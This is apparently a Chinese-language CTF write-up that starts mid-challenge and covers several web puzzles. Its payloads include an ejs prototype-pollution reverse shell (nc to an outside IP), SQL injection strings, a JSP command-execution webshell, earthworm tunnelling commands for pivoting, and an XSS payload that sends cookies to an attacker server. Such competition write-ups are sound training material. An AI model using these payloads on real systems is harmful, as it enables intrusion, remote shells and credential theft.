cryptor = AESCipher(app.config.get('SECRET_KEY'))
TGT = base64.b64encode(cryptor.encrypt(username + '|' + session_key + '|' + str(int(time.time()))))
return session_key_enc + '|' + TGT
except Exception:
return 'auth fail'
return "auth error"
KDC使用master_key
解密发送过去的authenticator
,并用username
对客户端进行认证。然后使用master_key
加密session_key
,再用SECRET_KEY
加密username
、session_key
、timestamp
作为TGT
,然后将TGT
和session_key_enc
发送回客户端。此时客户端可以用自己的master_key
解密session_key_enc
得到session_key
,此后使用session_key
来加密数据,TGT
则作为认证
def Ticket_vender():
username = request.form.get('username')
authenticator = request.form.get('authenticator')
TGT = request.form.get('TGT')
cmd = request.form.get('cmd')
user = User.query.filter_by(username=username).first()
if user != None:
cryptor = AESCipher(app.config.get('SECRET_KEY'))
auth_data = cryptor.decrypt(base64.b64decode(TGT)).split('|')
cryptor = AESCipher(auth_data[1])
try:
data = json.loads(cryptor.decrypt(base64.b64decode(authenticator)))
if data['username'] == auth_data[0] == username:
if int(time.time()) - data['timestamp'] < 60:
if cmd not in ['whoami', 'ls']:
return 'cmd error'
session_key = genSession_key()
session_key_enc = base64.b64encode(cryptor.encrypt(session_key))
cryptor = AESCipher(auth_data[1])
client_message = base64.b64encode(cryptor.encrypt(session_key))
server = User.query.filter_by(username='cmd_server').first()
cryptor = AESCipher(server.master_key)
server_message = base64.b64encode(cryptor.encrypt(session_key + '|' + data['username'] + '|' + cmd))
return client_message + '|' + server_message
except Exception:
return ' fail'
return "auth error"
服务器端会接收username
、authenticator
、TGT
和cmd
,然后用SECRET_KEY
解密TGT
得到username
、session_key
、timestamp
,再用session_key
解密authenticator
,然后进行认证。最后将cmd
发送到cmd_server
执行
整个过程我们需要先获取本地生成的master_key
,然后在访问KDC后获取session_key_enc
、TGT
,并使用master_key
解密session_key_enc
得到session_key
。最后在authenticator
中设置一个超时时间,再用session_key
加密,然后带上其它数据发送给服务器端即可执行命令
nweb
这题主要考的是渗透
截注册接口的包,将type
修改为110注册账号,登录即可进入flag.php
flag.php
处的搜索框可以盲注,双写绕过select
和from
过滤,能d得到flag的大部分
然后再通过盲注拿下admin的账号密码admin whoamiadmin
,登录admin.php
(通过扫目录可以扫到)
登入后可以扫描数据库,于是rogue mysql server
一波读flag.php
源码得到flag剩余部分
GuessGame
/static/app.js
给了源码
function log(userInfo) {
let logItem = { time: new Date().toString() };
merge(logItem, userInfo);
loginHistory.push(logItem);
}
先看到log()
中使用了merge()
,这里可以进行原型链污染,于是看哪里用到了log()
app.post("/", function(req, res) {
if (typeof req.body.user.username != "string") {
res.end("error");
} else {
if (config.forbidAdmin && req.body.user.username.includes("admin")) {
res.end("any admin user has been baned");
} else {
if (
req.body.user.username.toUpperCase() === adminName.toUpperCase()
)
//only log admin's activity
log(req.body.user);
res.end("ok");
}
}
});
在/
处找到,又是toUpperCase()
,用ı
进行绕过即可。接着找要污染的地方
app.post("/verifyFlag", function(req, res) {
//let result = "Your match flag is here: ";
let result = "Emm~ I won't tell you what happened! ";
if (typeof req.body.q != "string") {
res.end("please input your guessing flag");
} else {
let regExp = req.body.q;
if (config.enableReg && noDos(regExp) && flag.match(regExp)) {
//res.end(flag);
//Stop your wishful thinking and go away!
}
if (req.query.q === flag) result += flag;
res.end(result);
}
});
看到/verifyFlag
处,在判断config.enableReg
,noDos(regExp)
后对flag进行了正则匹配,虽然没回显但只有这个地方与flag有关。
于是找到config
var config = {
forbidAdmin: true
// "enableReg" : true
};
发现enableReg
被注释了,那应该就是要污染这里了
于是{"user":{"username": "admın666","__proto__": {"enableReg": true}}}
污染之后就能通过config.enableReg
的判断
但这里就算有否匹配成功结果都是一样的,实际上这里的noDos()
在提示我们使用ReDOS攻击
ReDOS初探
ReDOS攻击简单来说就是通过构造正则表达式,使其无法迅速处理导致延时甚至DOS
这题可以用这个表达式^(?=.{0}g)((.*)*)*!$
来一位一位跑出结果
#!/usr/bin/env python
# coding: utf-8
import re
import time
s1 = time.time()
regex = re.compile('^(?=g)((.*)*)*!$')
str='g3tF1AaGEAzY'
regex.match(str)
s2=time.time()
print(str)
print(s2-s1)
本地测试延时大概是2s,再套一个就跑不出来了
像^(?=g)((.*)*)*!$
这样也可以
除了ReDOS,还可以直接利用ejs-rce
,直接弹shell。由于这题使用的是alpine,不能直接bash弹shell,这里记一下V&N大佬们的payload{"user":{"username":"admIn888","__proto__":{"enableReg":True,"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('rm /tmp/fa;mkfifo /tmp/fa;cat /tmp/fa|/bin/sh -i 2>&1|nc 106.14.15.50 1234 > /tmp/fa ');var __tmp2"}}}
PHP-UAF
和GYCTF那个差不多,就是换了个脚本phpinfo()
可以看到版本的7.4.2,一堆disable_functions
,JSON UAF使用不了
exploits/php7-backtrace-bypass/exploit.php
但同个仓库下有新版本的能用,当时没细看血亏,改个命令就能用
可惜了清华大佬还想我们调试
sqlcheckin
给了源码
<?php
// ...
$pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);//设置查询数据返回的类型,这样不用每次都写fetchAll(PDO::FETCH_ASSOC)
$stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
$stmt->execute();
$result = $stmt->fetchAll();
if (count($result) > 0) {
if ($result[0]['username'] == 'admin') {
include('flag.php');
exit();
// ....
标准的PDO预处理错误用法,真正的随便注
万能密码即可username=admin'--+&password=
不过wp给出了一种挺有趣的绕过方式username=admin'and(1-&password=)-'
生成的语句是SELECT username from users where username='admin'and(1-' and password=')-''
通过单引包括的为字符串,int型减去字符型以开头的数字为准,这里就是1-0-0
。于是最终的查询就是SELECT username from users where username='admin'and(1)
nothardweb
分析源码,可以看到目标是要将username设置为admin
<?php
session_start();
error_reporting(0);
include "user.php";
include "conn.php";
$IV = "********";// you cant know that;
if(!isset($_COOKIE['user']) || !isset($_COOKIE['hash'])){
if(!isset($_SESSION['key'])){
$_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);
$_SESSION['iv'] = $IV;
}
$username = "guest";
$o = new User($username);
echo $o->show();
$ser_user = serialize($o);
$cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);
setcookie("user", base64_encode($cipher), time()+3600);
setcookie("hash", md5($ser_user), time() + 3600);
}
else{
$user = base64_decode($_COOKIE['user']);
$uid = openssl_decrypt($user, 'des-cbc', $_SESSION['key'], 0, $_SESSION['iv']);
if(md5($uid) !== $_COOKIE['hash']){
die("no hacker!");
}
$o = unserialize($uid);
echo $o->show();
if ($o->username === "admin"){
$_SESSION['name'] = 'admin';
include "hint.php";
}
}
这里是一个des-cbc
加密,我们能够得到加密后的结果
<?php
class User{
public $username;
function __construct($username)
{
$this->username = $username;
}
function show(){
return "username: $this->username\n";
}
}
再通过user.php
我们可以获得明文,由于没有给iv应该不是要CBC翻转,那就想办法去搞到key和iv了
$_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);
而key是通过mt_rand()
与运算生成,之前在hgame也说过有除了爆破的方法去获得mt_rand()
的种子
无需暴破还原mt_rand()种子
具体原理看链接,简而言之就是可以通过生成的随机数R0与R227,以及R0前生成的随机数个数,获得种子
脚本来源:mt_rand-reverse
测试一下
<?php
mt_srand(164632);
echo mt_rand();
for($i=1;$i<227;$i++){
mt_rand();
}
echo "<br>";
echo mt_rand();
结果:
21822616
1260657684
而题目给了用户的uid表相差也是227,而且提示我们是229名用户
uid可能是用户的key或者mt_seed()结果,都试一下就行了
这里除了这样,由于知道了明文和密文且iv不变,可以拿密文的第一段作为iv,然后去爆破密文第二段,解出为明文第二段则是key。然后再用key去解iv即可
还有一种做法是,由于没有检查SESSIONID
是否存在,直接置为空,就没有key和iv,直接空加密即可
登录为admin后,hint.php
中提示
I left a shell in 10.10.1.12/index.php
try to get it!
而且可以看到hint.php
的源码为
<?php
if(isset($_GET['cc'])){
$cc = $_GET['cc'];
eval(substr($cc, 0, 6));
}else{
highlight_file(__FILE__);
}
这里是一个小trick,这里可以传入
?cc=`$cc`;cmd
截取后为
`$cc`;
通过eval执行得到$cc
的值,就能突破长度执行命令(但我本地并没测试成功,是环境的问题?)
之后wp上给的是用soap进行内网渗透,不过直接通过服务器shell用curl打过去把shell打回来不就行了?
打回shell会在根目录发现hint,又提示了另一台主机10.10.2.13
这里可以利用earthworm进行流量转发,让我们能直接访问10.10.2.13
ew-tunnel
自己公网的服务器上./ew_for_linux -s rcsocks -l 12345 -e 1234
内网的跳板机上./ew_for_linux -s rssocks -d vps_ip -e 1234
然后主机上SOCKS代理设置为vps_ip:12345
就可以直接访问到内网的10.10.2.13
至于earthworm脚本去github上搜吧,怕被查水表
进去后是tomcat界面,是CVE-2017-12615
的洞(好像又出了个2020的CVE)
CVE-2017-12615
可以通过PUT请求像服务器任意写文件
于是搞一个jsp的马,上传至/1.jsp/
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("<pre>");
}
%>
然后10.10.2.13/1.jsp?pwd=023&i=cmd
来执行命令即可
easyweb
不知道原题干了啥,这里记录一下考点的东西
首先是java的SSRF
JAVA中可以使用netdoc协议,读取目录
像netdoc:///var/www/html/
这样就可以读取到网站根目录的文件
第二个是高版本jdk攻击rmi registry
baby_java也说到了,高版本的jdk由于trustURLCodebase
限制无法加载远程库。这里利用Commons Collections 3.1
的漏洞(实际上baby_java也是,不过之前没注意到),可以绕过这个限制去加载远程库
具体分析看这里
Java入坑:Apache-Commons-Collections-3.1 反序列化漏洞分析
不同版本的jdk最后的部分也不一样,用ysoserial生成exp即可
happyvacation
这题没拿到源码,没想到XSS的题也是搞源码,有个.git泄露
CSP限制了只能为同源脚本,但允许内联js,同时交互处有上次文件的地方(不过我好像没看到),绕过方式就很明显了,通过上传脚本引入即可
function __construct(){
$this->black_list = ['ph', 'ht', 'sh', 'pe', 'j'];
}
虽然上传做了一些过滤,但通过script并不要求要js后缀,随便一个后缀都可以
绕CSP是个小问题,难搞的是message
处的过滤
if(isset($user)){
if(isset($_GET['message'])){
$user->leaveMessage($_GET['message']);
}
$user->showMessage();
if($user->url->flag){
echo $user->asker->mes();
}
}
class User{
function leaveMessage($message){
$this->info->leaveMessage($message);
}
function showMessage(){
echo "<body><script> var a = '{$this->info->message}';document.write(a); </script></body>";
}
}
class Info{
function leaveMessage($message){
if(preg_match("/cookie|<|>|win/i", $message, $ma)){
$this->message = "?"; var_dump($ma);
}else{
$this->message = addslashes($message);
}
}
}
使用了addslashes()
对message
进行了处理,这样就没办法直接用'或"绕出了。这里是第一次知道可以用宽字节来绕过,只要在头部设置Content-Type: text/html; charset=GBK;
,就可以和sql一样%df
绕过
于是寻找一下可以利用的地方
function go(){
if(isset($this->pre) and isset($this->after) and isset($this->location)) {
$dest = $this->pre . $this->location . $this->after;
header($dest);
}else{
header("Location: index.php");
}
}
UrlHelper类中go()
可以控制header()
,但pre
的值被定为Location:
要想办法修改
function __construct(){
$this->pre = "Location:";
}
在quit.php
处有个answer
参数
if(isset($_GET['answer'])){
$answer = $_GET['answer'];
$user->asker->answer($user, $answer);
if($user->url->referer != $user->url->page){
$user->url->location = $user->url->referer;
}
$user->url->flag = True;
}
跟进到answer()
class Asker{
function answer($user, $answer){
$this->user = clone $user;
if($this->right == $answer){
$this->message = "clever man!";
return 1;
}else{
if(preg_match("/f|sy|(|)| |;|and|or|&|\||\^|\$|#|\/|\*/", $answer)){
eval("\$this->".$answer." = false;");
$this->updateList();
}else{
$this->message = "what are you doing bro?";
}
$this->times ++;
return 0;
}
}
}
这里使用了clone
关键字复制了一份user
,当回答错误时通过eval()
将选项去除,问题就出在这里
php中clone
这个关键字的有一个类似于原型链安全问题,只不过原型链是由上影响下,而clone
的问题是由下影响上
通过clone
这个关键字可以将一个变量直接赋值给另一个变量,某些情况下可以提高代码效率。但当原变量为一个类,而其中一个属性又为另一个类。当克隆变量修改了另一个类中的属性值时,就会导致原变量中,另一个类中的属性值也改变。简单的写一个例子
<?php
class A{
function __construct(){
$this->a = new B();
}
}
class B{
function __construct(){
$this->b = 222;
}
}
$a = new A();
$b = clone $a;
echo $a->a->b;
$b->a->b = 999;
echo $b->a->b;
echo $a->a->b;
这里的输出是222999999
,变量a中属性a中属性b的值随着变量b的修改也改变了
回到题目上,pre
是user类的url属性指向的类中的一个属性。于是就可以通过修改$this->user->url->pre
的值,将$user->url->pre
的值修改。将answer
设为user->url->pre
即可,这样就$user->url->pre = False
,而False
连接任意字符串都为其本身
然后就是控制location
通过传入referer
修改一次referer
,再传入referer
就可以将值赋给location
if(isset($_GET['answer'])){
$answer = $_GET['answer'];
$user->asker->answer($user, $answer);
if($user->url->referer != $user->url->page){
$user->url->location = $user->url->referer;
}
$user->url->flag = True;
}
if(isset($_GET['referer'])){
$referer = $_GET['referer'];
if($referer != $user->url->page){
$user->url->referer = $referer;
}
}
于是先修改一波referer
quit.php?referer=xxx
然后污染header
quit.php?referer=Content-Type:text/html;charset=GBK;Referer:index&answer=user->url->pre
污染后就可以进行宽字节XSS,先上传一个脚本window.open('http://vps:port/?'+document.cookie);
message
中其它的过滤用String.fromCharCode()
绕过,script引入脚本index.php?message=%df%27;var b = String.fromCharCode(115,99,114,105,112,116);var c = String.fromCharCode(49,46,119,97,118,101);x=document.createElement(b);x.src=c;document.body.appendChild(x);//
vps接到cookie后登上管理员账号,访问teacher.php
算出md5提交即可得到flag
还有另一种简单的方法就是直接覆盖掉black_list
,就可以直接上传shell了